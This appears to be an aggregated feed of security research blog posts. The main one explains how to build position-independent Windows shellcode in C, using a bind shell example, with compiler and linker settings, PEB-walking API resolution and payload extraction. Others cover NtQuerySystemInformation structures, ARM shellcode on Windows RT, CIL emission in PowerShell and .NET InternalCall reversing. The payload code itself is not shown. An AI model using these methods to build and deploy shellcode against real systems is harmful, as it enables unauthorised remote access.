You may have noticed my use of ugly global variables in the $Action scriptblock. They were necessary because the scriptblock executes in a bizarre state where it does not have the full functionality of a PowerShell session. Those familiar with registering .NET events with the Register-ObjectEvent cmdlet will know what this it like. Basically, a good portion of PowerShell’s functionality breaks when running in this environment – the pipeline doesn’t work and objects cannot be output. The only real form of user output available to you is via the Write-Host cmdlet. A way around this is to save all output to a global variable. Then, once the scriptblock is done executing you can interact with your output like normal. Hopefully, this issue will be fixed in a future version of PowerShell.

That’s it. Hopefully, this will be helpful to those working with the Win32 API in PowerShell and to people like me who refuse to compile C# in their scripts. ;D

Undocumented NtQuerySystemInformation Structures (Updated for Windows 8)

$
0
0
Those familiar with Windows internals are likely to have used the NtQuerySystemInformation function in ntdll. This function is extremely valuable for getting system information that would otherwise not be made available via the Win32 API. The MSDN documentation only documents a minimal subset of the structures returned by this powerful function, however. To date, one of the best references for the undocumented features of this function has been the “Windows NT/2000 Native API Reference.” Despite being published in 2000, many of the structures documented in this book are still relevant today. In recent history though, Microsoft has quietly expanded the number of functions returned by NtQuerySystemInformation. Thankfully, the vast majority of them have been made public via symbols present in uxtheme.dll (64-bit structures) and combase.dll (32-bit) structures in Windows 8. At last check, it appears as though Microsoft pulled these symbols from the latest versions of the respective dlls.
 
I did my best to document these structures and fill in as many holes as possible in the SystemInformationClass enum. What resulted is the following image – a mapping of SystemInformationClass constants to their respective 32-bit structure and a header file – NtQuerySystemInformation.h. I validated that the header file is properly parsed by IDA (Ctrl+F9). To view the result of what was parsed in IDA, press Shift+F1 (Local Types Subview). The most notable structures are the ones that return pointers. In many cases, these are pointers to kernel memory. >D



Windows RT ARMv7-based Shellcode Development

$
0
0
Recently, I've taken an interest in gaining code execution on my Surface RT tablet. I have found Windows RT to be rather enticing since Microsoft has made a concerted effort to prevent the execution of unsigned code. A couple weeks ago I discovered a way to gain arbitrary shellcode execution via PowerShell. I will have a separate blog post on that topic once I get a thumbs up from Microsoft. And for the record, I am aware of the awesome public Windows RT jailbreak.

Anyway, seeing as I'm already fairly comfortable writing x86 and x86_64 shellcode, I wanted to take on the challenge of writing ARMv7-based shellcode for Windows since no one else seems to be doing it publicly. Knowing that writing shellcode from scratch would have been rather painful and prone to error, I decided to write my payload in C and then modify the resulting assembly listing slightly in order to achieve a position independent payload. Here is the result (noting that this is merely a working proof-of-concept):


You may have noticed that this shellcode is written in MASM format, therefore, it can only be assembled using armasm.exe (the ARM equivalent of ml.exe). Unfortunately, armasm doesn't provide the option of outputting to a raw bin file. It will only emit an object (.obj) file. I wrote Get-ObjDump with the intent of pulling out raw payload bytes in mind but armasm doesn't apply relocations. This means that any calls to functions present in the payload won't be fixed up and it will crash upon executing.

So rather than writing my own linker, the natural choice was to leverage Microsoft's linker, link.exe. In theory, all I would need to do is call `link bindshell.obj` and pull out the raw bytes from the '.foo' section of the resulting binary. However, I ran into a couple issues in practice:

1. link.exe requires that you specify an entry point.

Solution: Easy. Provide the '/ENTRY:"main"' switch

2. Depending on the subsystem you choose, link.exe requires certain functions in the CRT to be present. For example, the following subsystems require the following entry point functions:

/SUBSYSTEM:CONSOLE - mainCRTStartup
/DLL - _DllMainCRTStartup
/SUBSYSTEM:WINDOWS - WinMainCRTStartup
/SUBSYSTEM:NATIVE - NtProcessStartup

Solution: Obviously, I don't care about the C runtime library in my shellcode. The solution I came up with was to specify EFI_APPLICATION as the subsystem since it doesn't require the CRT. In the end, I don't care about the type of PE file I output. I just need the linker to fix up relocations for me. I can take care of pulling out the bytes from the .foo section of the resulting executable. Fortunately, Get-PEHeader can rip raw bytes from a PE file.
 
Wrapping things up, here is the process of obtaining fully-functioning ARM-based Windows RT shellcode from end to end:

Writing Optimized Windows Shellcode in C

$
0
0
Download: PIC_Bindshell

Introduction

I’ll be the first to admit: writing shellcode sucks. While you have the advantage of employing some cool tricks to minimize the size of your payload, writing shellcode is still error prone and difficult to maintain. For example, I find it quite challenging having to track register allocations (especially in x86) and ensure proper stack alignment (especially in x86_64). Eventually, I got fed up, stepped back, and asked myself, “Why can’t I just write my shellcode payloads in C and let the compiler and linker take care of the rest?” That way, you only have to write your payload once and you can target it to any architecture – x86, x86_64, and ARM. Also, you would have the following added benefits:
  1. You can subject your payload to static analysis tools.
  2. You can unit test your code.
  3. You can employ heavy compiler and linker optimizations to your payload.
  4. The compiler is much better at optimizing assembly for size and/or speed than you are.
  5. You can write your payload in Visual Studio. Intellisense, FTW!
Now, you could say I’m a bit of a Microsoft fan boy. That said, considering the majority of the shellcode I’ve written has been for Windows, I decided to take on the challenge of using only Microsoft tools to emit position independent shellcode. The fundamental challenge however, is that the Microsoft C compiler – cl.exe does not emit position independent code (with the exception of Itanium). Ultimately, to achieve this goal, we’re going to have to rely upon some C coding tricks and some carefully crafted compiler and linker switches.

Shellcode – Back to the Basics

When writing shellcode, whether you do it in C or assembly, the following rules apply:

1) It must be position independent.

In most cases, you cannot know a priori the address at which your shellcode is going to land. Therefore, all branching instructions and instructions that dereference memory must be executed relative to the base address of where you were loaded. The gcc compiler has the option of emitting position independent code (PIC) but unfortunately, Microsoft’s compiler does not.

2) Your payload is on the hook for resolving external references.

If you want your payload to do anything useful, at some point, you’re going to have to call Win32 API functions. In your typical executable, external symbolic references are satisfied in one of two ways: either they are resolved by the loader at startup by walking the import directory of the executable or they are resolved dynamically at runtime using GetProcAddress. Shellcode neither has the luxury of being loaded by a loader nor can it just call GetProcAddress since it has no idea what the address of kernel32!GetProcAddress is in the first place – a classic chicken and the egg problem.

In order to resolve the addresses of library functions, shellcode must resolve function names on its own. This is typically accomplished in shellcode with a function that takes a 32-bit module and function hash, gets the PEB (Process Environment Block) address, walks a linked list of the loaded modules, scans the export directory of each module, hashes each function name, compares it against the hash provided, and if there is a match, the function address is calculated by adding its RVA to the base address of the loaded module. I’m obviously glossing over the details of the process in the interest of space but fortunately, this process is widely used (e.g. in Metasploit) and well documented.

3) Your payload must save stack and register state upon entry and restore state upon exiting the shellcode.

We will get this for free by writing the payload in C by virtue of having function prologs and epilogs emitted by the compiler for each function.

GetProcAddressWithHash Function in C

In the download provided, the GetProcAddressWithHash function resolves Win32 API exported function addresses. I adapted the logic of the function from the Metasploit block_api assembly function:


Going from top to bottom, you may notice a few things:

• I defined ROTR32 as a macro.

The Metasploit payload uses a rotate-right hashing function. Unfortunately, there is no rotate right operator in C. There are several rotate right compiler instrinsics but they are not consistent across processor architectures. The ROTR32 macro implements the logic of a rotate right operation using the equivalent logical operators available to us in C. What’s cool, is that the compiler will recognize that this macro performs a rotate right operation and it will actually compile down to a single rotate right assembly instruction. That’s pretty bas ass, in my opinion.

• I redefine two structure definitions.

Both of those structure are defined in winternl.h but Microsoft’s public definition is incomplete so I simply redefined the structures with the fields I needed.

• There is a different method of getting the PEB address depending upon the processor architecture you’re targeting.

The PEB address is the first step in resolving exported function addresses. The PEB is a structure that contains several pointers to the loaded modules of a process. In x86 and x86_64, the PEB address is obtained by dereferencing an offset into the fs and gs segment registers, respectively. On ARM, the PEB address obtained by reading a specific register from the system control processor (CP15). Fortunately, there is a respective compiler intrinsic for each processor architecture. For whatever reason though, the compiler was not emitting correct ARM assembly instruction so I had to tweak instructions in a very counterintuitive manner.

Implementing Your Primary Payload in C

I’m going to be using a simple bind shell payload as an example for this post. Here is my implementation in C:


There are a few things I needed to be mindful of while writing the payload in order to satisfy the requirements imposed by position independent shellcode:

• I defined HTONS as a macro.

It was easier to define this as a macro versus incurring the overhead of calling ws2_32.dll!htons. Besides, HTONS is ideally suited for a macro since all it does is convert a USHORT from host to network byte order.

• I had to manually define the function signatures for each Win32 API function.

This was necessary since each call to GetProcAddressWithHash needs to be cast to a function pointer. Also, with Intellisense, calling the function has the look and feel of calling a normal Win32 function in Visual Studio. This part is admittedly a pain in the ass. It certainly beats the guess and check method though when writing assembly by hand!

• "ExecutePayload" is the function that implements the primary logic of the bind shell.

Normally, you would call the function "main". One of the problems I ran into though is that when the linker encounters a function named “main,” it expects to be linked against the C runtime library. Obviously, shellcode shouldn’t and doesn’t require the CRT so renaming the entry point to something besides “main” and explicitly telling the linker your entry point function obviates the need to link against the CRT.

• “cmd” and “ws2_32.dll” are explicitly defined as null-terminated character arrays.

This technique was first described by Nick Harbour as a way to force the compiler to allocate strings on the stack. By default, strings are stored in the .rdata section of a binary and relocations are defined in the executable for any references to those strings. Storing strings on the stack allows for references to be made in a position independent manner.

• SecureZeroMemory is used to initialize stack variables

SecureZeroMemory is basically a memset that cannot be compiled out. It is also an inline function meaning I am spared the overhead of having to resolve the address of memset.

• The rest of the payload, is your typical, run-of-the-mill C… only slightly malicious.

Ensuring Proper Stack Alignment in 64-bit Shellcode

32-bit architectures (i.e. x86 and ARMv7) require that function calls be made with 4-byte stack alignment. It is pretty much guaranteed that your shellcode will land with 4-byte alignment. 64-bit shellcode however, needs to have 16-byte stack alignment. This is due to a requirement imposed by utilizing 128-bit XMM registers. Those who have written 64-bit shellcode have most likely experienced crashes at an instruction using an XMM register upon calling Win32 a function. This is due to stack misalignment.

Executable files, when loaded are afforded the luxury of having guaranteed alignment during CRT initialization. Shellcode is afforded no such luxury, however. So, in order to ensure that my shellcode hits its entry point with proper stack alignment on 64-bit, I had to write a short assembly stub that guaranteed alignment. Then, as a pre-build event in Visual Studio, I assemble the shellcode with ml64 (MASM – the Microsoft Assembler) and specify the resulting object file as a dependency for the linker.

Here is the code that performs the alignment:


Basically, what’s happening here is I am preserving the original stack value, and’ing RSP (the stack pointer) to achieve 16-byte alignment, allocating homing space, and then calling the original entry point – ExecutePayload (i.e. the bind shell code).

I also have a small helper function in C that simply calls AlignRSP:


This little helper function will then serve as the new entry point that will be specified to the linker. I will explain shortly why this wrapper function is necessary.

Compiling the Shellcode

I use the following compiler (cl.exe) command line switches in my Visual Studio 2012 project:

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

Each switch warrants an explanation as it is relevant to the shellcode that will be generated.

/GS-: Disables stack buffer overrun checks. If enabled, external stack cookie setter and getter functions would be called which would no longer make the shellcode position independent.

/TC: Tells the compiler to treat all files as C source files. One of the quirks of this command-line switch is that all local variables must be defined at the beginning of a function. If they are not, unintuitive errors will occur when attempting to compile.

/GL: Whole program optimization. This option tells the linker (via the /LTGC option) to optimize across function calls. I chose this option because I just really like the idea of fully-optimized shellcode. :D

/W4: Enables the highest warning level. This is just good practice.

/O1: Tells the compiler to favor small code over fast code – an ideal attribute of shellcode.

/FA: Outputs an assembly listing. This is optional. I just prefer to validate the assembly code emitted by the compiler.

/Zl: Omit the default C runtime library name from the resulting object file. This serves to tell the linker that you don’t intend to link against the C runtime.

/Os: Another way to tell the compiler to favor small code.

Linking the Shellcode

The following linker (link.exe) switches are used for x86/ARM and x86_64, respectively:

/LTCG /ENTRY:"ExecutePayload" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

/LTCG "x64\Release\\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

Each switch warrants an explanation as it is relevant to the shellcode that will be generated.

/LTCG: Enables global optimizations by the linker. The compiler has little to no control over optimizations across function calls since it compiles on a function-by-function basis. Therefore, the linker is ideally suited to perform optimizations across function calls since it receives all of the object files emitted by the compiler.

/ENTRY: Specifies the entry point of the binary. This is “ExecutePayload” (the bind shell logic) in x86 and ARM. However, in x86_64, it is “Begin” – the call to the stack alignment stub – “AlignRSP”. The reason the “Begin” function is necessary in 64BitHelper.h is because since we’re eventually emitting shellcode, we have to explicitly set the link order (via the /ORDER switch). The Microsoft linker doesn’t allow you to specify link order for extern functions (i.e. AlignRSP). To get around this, I simply wrapped AlignRSP in a function. “Begin” is then specified as the first function to be linked. That way, it will be the first code to be called in the shellcode.

/OPT:REF: Eliminates functions and/or data that are never referenced. We want our shellcode to be as small as possible. This linker optimization will reduce shellcode size by eliminating dead code/data.

/SAFESEH:NO: Do not emit SafeSEH handlers. Shellcode has no need for registered exception handling.

/SUBSYSTEM:CONSOLE: As far as shellcode goes, the subsystem is irrelevant. Specifying “CONSOLE” though will allow you to test the compiled exe from the command line.

/MAP: Generate a map file. This file is used to pull out the size of the shellcode.

/ORDER: Because we are generating shellcode, the order in which functions are linked is extremely important. Originally, it was my assumption that the entry point function would be the first function to be linked. This, however, did not turn out to be the case. The /ORDER switch takes a text file containing the functions in the order in which they should be linked. You’ll notice that the function at the top of each list is the entry point function.

/OPT:ICF: Removes redundant functions. This is optional.

/NODEFAULTLIB: Explicitly tells the linker not to attempt to use default libraries when resolving external references. This switch is handy if you accidentally have an external reference in your code. The linker will throw an error which will bring to your attention the fact that your payload cannot have any external references!

Extracting the Shellcode

After the code is compiled and linked, the final step is to pull the shellcode out of the resulting exe. This requires a tool that can parse a PE file and pull the bytes out of the .text section. Fortunately, Get-PEHeader already does this. The only caveat though is that if you were to pull out the entire .text section, you would be left with a bunch of null padding. That’s why I wrote another script that parses the map file which contains the actual length of the code in the .text section.

For those who enjoy analyzing PE files, it is worth investigating the exe files generated. It will only contain a single section - .text and it will not have any entries in the data directories in the optional header. This is exactly what I sought after – a binary without any relocations, extraneous sections, or imports.

Build Steps: PIC_Bindshell

PIC_Bindshell.zip includes a Visual Studio 2012 project. I tested it on both VS2012 Express and Ultimate Edition. Just load the solution file (*.sln) in Visual Studio, select the architecture you want to target, and then build. What is output is an exe and a shellcode (*.bin) payload.

The Express Edition of Visual Studio 2012 does not support compiling for ARM. Also, if this is your first time compiling for ARM, Visual Studio will throw the following error upon attempting to compile:

C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.ARM.v110.targets(36,5): error MSB8022: Compiling Desktop applications for the ARM platform is not supported.

You also need to remove the following line from “C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\includecrtdefs.h” (338):

#error Compiling Desktop applications for the ARM platform is not supported.

Simply remove those lines, restart Visual Studio, and then you’ll be good to go.

Conclusion

With a clearer understanding of how the Microsoft compiler and linker work in concert, it is possible to write fully optimized Windows shellcode in C that can be targeted to any supported processor architecture. That doesn’t mean that you shouldn’t have a clear understanding of the assembly language you’re targeting, though. It just means you don’t have to waste cycles writing large quantities of assembly language by hand. Also, I’ll trust the compiler over my feeble brain any day.

BTW, my 64-bit shellcode uses XMM registers. Does yours? :P

Simple CIL Opcode Execution in PowerShell using the DynamicMethod Class and Delegates

$
0
0
tl:dr version

It is possible to assemble .NET methods with CIL opcodes (i.e. .NET bytecode) in PowerShell in only a few lines of code using dynamic methods and delegates.



I’ll admit, I have a love/hate relationship with PowerShell. I love that it is the most powerful scripting language and shell but at the same time, I often find quirks in the language that consistently bother me. One such quirk is the fact that integers don’t wrap when they overflow. Rather, they saturate – they are cast into the next largest type that can accommodate them. To demonstrate what I mean, observe the following:


You’ll notice that [Int16]::MaxValue (i.e. 0x7FFF) understandably remains an Int16. However, rather than wrapping when adding one, it is upcast to an Int32. Admittedly, this is probably the behavior that most PowerShell users would desire. I, on the other hand wish I had the option to perform math on integers that wrapped. To solve this, I originally thought that I would have to write an addition function using complicated binary logic. I opted not to go that route and decided to assemble a function using raw CIL (common intermediate language) opcodes. What follows is a brief explanation of how to accomplish this task.


Common Intermediate Language Basics

CIL is the bytecode that describes .NET methods. A description of all the opcodes implemented by Microsoft can be found here. Every time you call a method in .NET, the runtime either interprets its opcodes or it executes the assembly language equivalent of those opcodes (as a result of the JIT process - just-in-time compilation). The calling convention for CIL is loosely related to how calls are made in X86 assembly – arguments are pushed onto a stack, a method is called, and a return value is returned to the caller.

Since we’re on the subject of addition, here are the CIL opcodes that would add two numbers of similar type together and would wrap in the case of an overflow:

IL_0000: Ldarg_0 // Loads the argument at index 0 onto the evaluation stack.
IL_0001: Ldarg_1 // Loads the argument at index 1 onto the evaluation stack.
IL_0002: Add // Adds two values and pushes the result onto the evaluation stack.
IL_0003: Ret // Returns from the current method, pushing a return value (if present) from the callee's evaluation stack onto the caller's evaluation stack.

Per Microsoft documentation, “integer addition wraps, rather than saturates” when using the Add instruction. This is the behavior I was after in the first place. Now let’s learn how to build a method in PowerShell that uses these opcodes.


Dynamic Methods

In the System.Reflection.Emit namespace, there is a DynamicMethod class that allows you to create methods without having to first go through the steps of creating an assembly and module. This is nice when you want a quick and dirty way to assemble and execute CIL opcodes. When creating a DynamicMethod object, you will need to provide the following arguments to its constructor:

1) The name of the method you want to create
2) The return type of the method
3) An array of types that will serve as the parameters

The following PowerShell command will satisfy those requirements for an addition function:

$MethodInfo = New-Object Reflection.Emit.DynamicMethod('UInt32Add', [UInt32], @([UInt32], [UInt32]))

Here, I am creating an empty method that will take two UInt32 variables as arguments and return a UInt32.

Next, I will actually implement the logic of the method my emitting the CIL opcodes into the method:

$ILGen = $MethodInfo.GetILGenerator()
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Add)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)

Now that the logic of the method is complete, I need to create a delegate from the $MethodInfo object. Before this can happen, I need to create a delegate in PowerShell that matches the method signature for the UInt32Add method. This can be accomplished by creating a generic Func delegate with the following convoluted syntax:

$Delegate = [Func``3[UInt32, UInt32, UInt32]]

The previous command states that I want to create a delegate for a function that accepts two UInt32 arguments and returns a UInt32. Note that the Func delegate wasn't introduced until .NET 3.5 which means that this technique will only work in PowerShell 3+. With that, we can now bind the method to the delegate:

$UInt32Add = $MethodInfo.CreateDelegate($Delegate)

And now, all we have to do is call the Invoke method to perform normal integer math that wraps upon an overflow:

$UInt32Add.Invoke([UInt32]::MaxValue, 2)

Here is the code in its entirety:


For additional information regarding the techniques I described, I encourage you to read the following articles:

Introduction to IL Assembly Language
Reflection Emit Dynamic Method Scenarios
How to: Define and Execute Dynamic Methods

Reverse Engineering InternalCall Methods in .NET

$
0
0
Often times, when attempting to reverse engineer a particular .NET method, I will hit a wall because I’ll dig in far enough into the method’s implementation that I’ll reach a private method marked [MethodImpl(MethodImplOptions.InternalCall)]. For example, I was interested in seeing how the .NET framework loads PE files in memory via a byte array using the System.Reflection.Assembly.Load(Byte[]) method. When viewed in ILSpy (my favorite .NET decompiler), it will show the following implementation:
 
 
So the first thing it does is check to see if you’re allowed to load a PE image in the first place via the CheckLoadByteArraySupported method. Basically, if the executing assembly is a tile app, then you will not be allowed to load a PE file as a byte array. It then calls the RuntimeAssembly.nLoadImage method. If you click on this method in ILSpy, you will be disappointed to find that there does not appear to be a managed implementation.
 
 
As you can see, all you get is a method signature and an InternalCall property. To begin to understand how we might be able reverse engineer this method, we need to know the definition of InternalCall. According to MSDN documentation, InternalCall refers to a method call that “is internal, that is, it calls a method that is implemented within the common language runtime.” So it would seem likely that this method is implemented as a native function in clr.dll. To validate my assumption, let’s use Windbg with sos.dll – the managed code debugger extension. My goal using Windbg will be to determine the native pointer for the nLoadImage method and see if it jumps to its respective native function in clr.dll. I will attach Windbg to PowerShell since PowerShell will make it easy to get the information needed by the SOS debugger extension. The first thing I need to do is get the metadata token for the nLoadImage method. This will be used in Windbg to resolve the method.
 
 
As you can see, the Get-ILDisassembly function in PowerSploit conveniently provides the metadata token for the nLoadImage method. Now on to Windbg for further analysis…
 
 
The following commands were executed:
 
1) .loadby sos clr
 
Load the SOS debugging extension from the directory that clr.dll is loaded from
 
2) !Token2EE mscorlib.dll 0x0600278C
 
Retrieves the MethodDesc of the nLoadImage method. The first argument (mscorlib.dll) is the module that implements the nLoadImage method and the hex number is the metadata token retrieved from PowerShell.
 
3) !DumpMD 0x634381b0
 
I then dump information about the MethodDesc. This will give the address of the method table for the object that implements nLoadImage
 
4) !DumpMT -MD 0x636e42fc
 
This will dump all of the methods for the System.Reflection.RuntimeAssembly class with their respective native entry point. nLoadImage has the following entry:
 
635910a0 634381b0   NONE System.Reflection.RuntimeAssembly.nLoadImage(Byte[], Byte[], System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef, Boolean, System.Security.SecurityContextSource)
 
So the native address for nLoadImage is 0x635910a0. Now, set a breakpoint on that address, let the program continue execution and use PowerShell to call the Load method on a bogus PE byte array.
 
PS C:\> [Reflection.Assembly]::Load(([Byte[]]@(1,2,3)))
 
You’ll then hit your breakpoint in WIndbg and if you disassemble from where you landed, the function that implements the nLoadImage method will be crystal clear – clr!AssemblyNative::LoadImage
 
 
You can now use IDA for further analysis and begin digging into the actual implementation of this InternalCall method!
 
 
After digging into some of the InternalCall methods in IDA you’ll quickly see that most functions use the fastcall convention. In x86, this means that a static function will pass its first two arguments via ECX and EDX. If it’s an instance function, the ‘this’ pointer will be passed via ECX (as is standard in thiscall) and its first argument via EDX. Any remaining arguments are pushed onto the stack.
 
So for the handful of people that have wondered where the implementation for an InternalCall method lies, I hope this post has been helpful.
Viewing all 78 articles
Browse latest View live


Latest Images